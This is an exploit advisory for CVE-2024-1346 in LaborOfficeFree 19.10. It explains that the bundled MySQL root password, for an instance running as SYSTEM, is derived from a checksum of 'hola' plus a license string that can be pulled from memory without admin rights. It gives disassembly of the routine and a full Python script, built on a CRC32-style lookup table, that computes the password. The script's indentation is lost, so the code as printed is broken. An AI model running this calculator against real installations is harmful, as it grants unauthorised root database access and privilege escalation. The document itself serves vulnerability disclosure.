# Exploit Title: LaborOfficeFree 19.10 MySQL Root Password Calculator - CVE-2024-1346
# Google Dork: N/A
# Date: 09/02/2023
# Exploit Author: Peter Gabaldon - https://pgj11.com/
# Vendor Homepage: https://www.laborofficefree.com/
# Software Link: https://www.laborofficefree.com/#plans
# Version: 19.10
# Tested on: Windows 10
# CVE : CVE-2024-1346
# Description: LaborOfficeFree installs a MySQL instance that runs as SYSTEM and calculates the MySQL root password based on two constants. Each time the program needs to connect to MySQL as root, it employs the reverse algorithm to calculate the root password. This issue has been tested on version 19.10 exclusively, but allegedly, versions prior to 19.10 are also vulnerable.
"""
After installing LaborOfficeFree in testing lab and revesing the backup process, it is possible to determine that it creates a "mysqldump.exe" process with the root user and the password being derived from the string "hola" concated with "00331-20471-98465-AA370" (in this case). This appears to be the license, but it is different from the license shown in the GUI dashboard. This license has to be extracted from memory. From example, attaching a debugger and breaking in the mysqldump process (for that, admin rights are NOT needed).
Also, the app checks if you are an admin to perform the backup and fails if the program is not running as adminsitrator. But, this check is not effective, as it is actually calling mysqldump with a derived password. Thus, administrator right are not needed.
Here is the disassembly piece of the procedure in LaborOfficeFree.exe responsible of calculating the root password.
00506548 | 53 | push ebx | Aqui se hacen el XOR y demas que calcula la pwd :)
00506549 | 56 | push esi |
0050654A | A3 7CFD8800 | mov dword ptr ds:[88FD7C],eax | eax:"hola00331-20471-98465-AA370"
0050654F | 0FB7C2 | movzx eax,dx | eax:"hola00331-20471-98465-AA370"
00506552 | 85C0 | test eax,eax | eax:"hola00331-20471-98465-AA370"
00506554 | 7E 2E | jle laborofficefree.506584 |
00506556 | BA 01000000 | mov edx,1 |
0050655B | 8B1D 7CFD8800 | mov ebx,dword ptr ds:[88FD7C] |
00506561 | 0FB65C13 FF | movzx ebx,byte ptr ds:[ebx+edx-1] |
00506566 | 8B31 | mov esi,dword ptr ds:[ecx] |
00506568 | 81E6 FF000000 | and esi,FF |
0050656E | 33DE | xor ebx,esi |
00506570 | 8B1C9D A40B8800 | mov ebx,dword ptr ds:[ebx*4+880BA4] |
00506577 | 8B31 | mov esi,dword ptr ds:[ecx] |
00506579 | C1EE 08 | shr esi,8 |
0050657C | 33DE | xor ebx,esi |
0050657E | 8919 | mov dword ptr ds:[ecx],ebx |
00506580 | 42 | inc edx |
00506581 | 48 | dec eax | eax:"hola00331-20471-98465-AA370"
00506582 | 75 D7 | jne laborofficefree.50655B |
00506584 | 5E | pop esi |
00506585 | 5B | pop ebx |
00506586 | C3 | ret |
The result number from this procedure is then negated (bitwise NOT) and casted as a signed integer. Note: the address 0x880BA4 stores a constant array of 256 DWORDs entries.
005065C8 | F755 F8 | not dword ptr ss:[ebp-8] |
Running this script produces the root password of the LaborOfficeFree MySQL.
C:\Users\***\Desktop>python myLaborRootPwdCalculator.py
1591779762
C:\Users\***\Desktop>
"""
#! /usr/bin/python3
from operator import xor
import ctypes
if __name__ == "__main__":
magic_str = "hola00331-20471-98465-AA370"
mask = 0x000000ff
const = [0x0,0x77073096,0x0EE0E612C,0x990951BA,0x76DC419,0x706AF48F,0x0E963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0x0E0D5E91E,0x97D2D988,0x9B64C2B,0x7EB17CBD,0x0E7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0x0F3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0x0F4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0x0FD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0x0FA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0x0D56041E4,0x0A2677172,0x3C03E4D1,0x4B04D447,0x0D20D85FD,0x0A50AB56B,0x35B5A8FA,0x42B2986C,0x0DBBBC9D6,0x0ACBCF940,0x32D86CE3,0x45DF5C75,0x0DCD60DCF,0x0ABD13D59,0x26D930AC,0x51DE003A,0x0C8D75180,0x0BFD06116,0x21B4F4B5,0x56B3C423,0x0CFBA9599,0x0B8BDA50F,0x2802B89E,0x5F058808,0x0C60CD9B2,0x0B10BE924,0x2F6F7C87,0x58684C11,0x0C1611DAB,0x0B6662D3D,0x76DC4190,0x1DB7106,0x98D220BC,0x0EFD5102A,0x71B18589,0x6B6B51F,0x9FBFE4A5,0x0E8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0x0E10E9818,0x7F6A0DBB,0x86D3D2D,0x91646C97,0x0E6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0x0F262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0x0F50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0x0FCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0x0FBD44C65,0x4DB26158,0x3AB551CE,0x0A3BC0074,0x0D4BB30E2,0x4ADFA541,0x3DD895D7,0x0A4D1C46D,0x0D3D6F4FB,0x4369E96A,0x346ED9FC,0x0AD678846,0x0DA60B8D0,0x44042D73,0x33031DE5,0x0AA0A4C5F,0x0DD0D7CC9,0x5005713C,0x270241AA,0x0BE0B1010,0x0C90C2086,0x5768B525,0x206F85B3,0x0B966D409,0x0CE61E49F,0x5EDEF90E,0x29D9C998,0x0B0D09822,0x0C7D7A8B4,0x59B33D17,0x2EB40D81,0x0B7BD5C3B,0x0C0BA6CAD,0x0EDB88320,0x9ABFB3B6,0x3B6E20C,0x74B1D29A,0x0EAD54739,0x9DD277AF,0x4DB2615,0x73DC1683,0x0E3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0x0E40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0x0F00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0x0F762575D,0x806567CB,0x196C3671,0x6E6B06E7,0x0FED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0x0F9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0x0D6D6A3E8,0x0A1D1937E,0x38D8C2C4,0x4FDFF252,0x0D1BB67F1,0x0A6BC5767,0x3FB506DD,0x48B2364B,0x0D80D2BDA,0x0AF0A1B4C,0x36034AF6,0x41047A60,0x0DF60EFC3,0x0A867DF55,0x316E8EEF,0x4669BE79,0x0CB61B38C,0x0BC66831A,0x256FD2A0,0x5268E236,0x0CC0C7795,0x0BB0B4703,0x220216B9,0x5505262F,0x0C5BA3BBE,0x0B2BD0B28,0x2BB45A92,0x5CB36A04,0x0C2D7FFA7,0x0B5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0x0EC63F226,0x756AA39C,0x26D930A,0x9C0906A9,0x0EB0E363F,0x72076785,0x5005713,0x95BF4A82,0x0E2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0x0E5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0x0F1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0x0F6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0x0FF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0x0F862AE69,0x616BFFD3,0x166CCF45,0x0A00AE278,0x0D70DD2EE,0x4E048354,0x3903B3C2,0x0A7672661,0x0D06016F7,0x4969474D,0x3E6E77DB,0x0AED16A4A,0x0D9D65ADC,0x40DF0B66,0x37D83BF0,0x0A9BCAE53,0x0DEBB9EC5,0x47B2CF7F,0x30B5FFE9,0x0BDBDF21C,0x0CABAC28A,0x53B39330,0x24B4A3A6,0x0BAD03605,0x0CDD70693,0x54DE5729,0x23D967BF,0x0B3667A2E,0x0C4614AB8,0x5D681B02,0x2A6F2B94,0x0B40BBE37,0x0C30C8EA1,0x5A05DF1B,0x2D02EF8D]
result = 0xffffffff
for c in magic_str:
aux = result & mask
aux2 = xor(ord(c), aux)
aux3 = xor(const[aux2], (result >> 8))
result = aux3
result = ~result
result = ctypes.c_long(result).value
print(result)